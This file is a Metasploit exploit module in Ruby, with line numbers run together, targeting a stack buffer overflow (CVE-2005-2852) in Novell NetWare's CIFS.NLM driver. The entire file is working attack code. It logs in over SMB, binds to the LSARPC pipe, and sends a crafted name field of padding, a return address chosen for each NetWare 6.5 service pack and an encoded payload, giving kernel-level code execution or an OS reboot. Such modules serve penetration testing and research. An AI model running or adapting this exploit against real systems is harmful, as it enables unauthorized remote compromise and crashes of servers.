Path: blob/master/modules/exploits/netware/smb/lsass_cifs.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver.18Since the driver runs in the kernel space, a failed exploit attempt can19cause the OS to reboot.20},21'Author' => [22'toto',23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2005-2852' ],27[ 'OSVDB', '12790' ]28],29'Privileged' => true,30'Payload' => {31'Space' => 400,32'BadChars' => "\x00"33},34'Platform' => 'netware',35'Targets' => [36# NetWare SP can be found in the SNMP version :37# 5.70.07 -> NetWare 6.5 (5.70) SP7 (07)3839[ 'VMware', { 'Ret' => 0x000f142b } ],40[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)41[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)42[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)43[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)44[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)45[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)46],47'Notes' => {48'Stability' => [ CRASH_OS_RESTARTS ],49'SideEffects' => [ IOC_IN_LOGS ],50'Reliability' => [ UNRELIABLE_SESSION ]51},52'DisclosureDate' => '2007-01-21'53)54)5556register_options(57[58OptString.new('SMBPIPE', [true, 'The pipe name to use (LSARPC)', 'lsarpc'])59]60)6162deregister_options('DCERPC::fake_bind_multi')63end6465def exploit66# Force multi-bind off (netware doesn't support it)67datastore['DCERPC::fake_bind_multi'] = false6869connect70smb_login7172handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])7374print_status("Binding to #{handle} ...")75dcerpc_bind(handle)76print_status("Bound to #{handle} ...")7778stb =79NDR.long(rand(0xffffffff)) +80NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +81NDR.long(0) +82NDR.long(0) +83NDR.long(0) +84NDR.long(0) +85NDR.long(0) +86NDR.long(0) +87NDR.long(0x000f0fff)8889resp = dcerpc.call(0x2c, stb)90handle, = resp[0, 20]91_code = resp[20, 4].unpack('V')9293name =94rand_text_alphanumeric(0xa0) +95[target.ret].pack('V') +96payload.encoded9798stb =99handle +100NDR.long(1) +101NDR.long(1) +102NDR.short(name.length) +103NDR.short(name.length) +104NDR.long(rand(0xffffffff)) +105NDR.UnicodeConformantVaryingStringPreBuilt(name) +106NDR.long(0) +107NDR.long(0) +108NDR.long(1) +109NDR.long(0)110111print_status('Calling the vulnerable function ...')112113begin114dcerpc.call(0x0E, stb)115rescue StandardError116# DCERPC call may fail, this is expected117end118119handler120disconnect121end122end123124125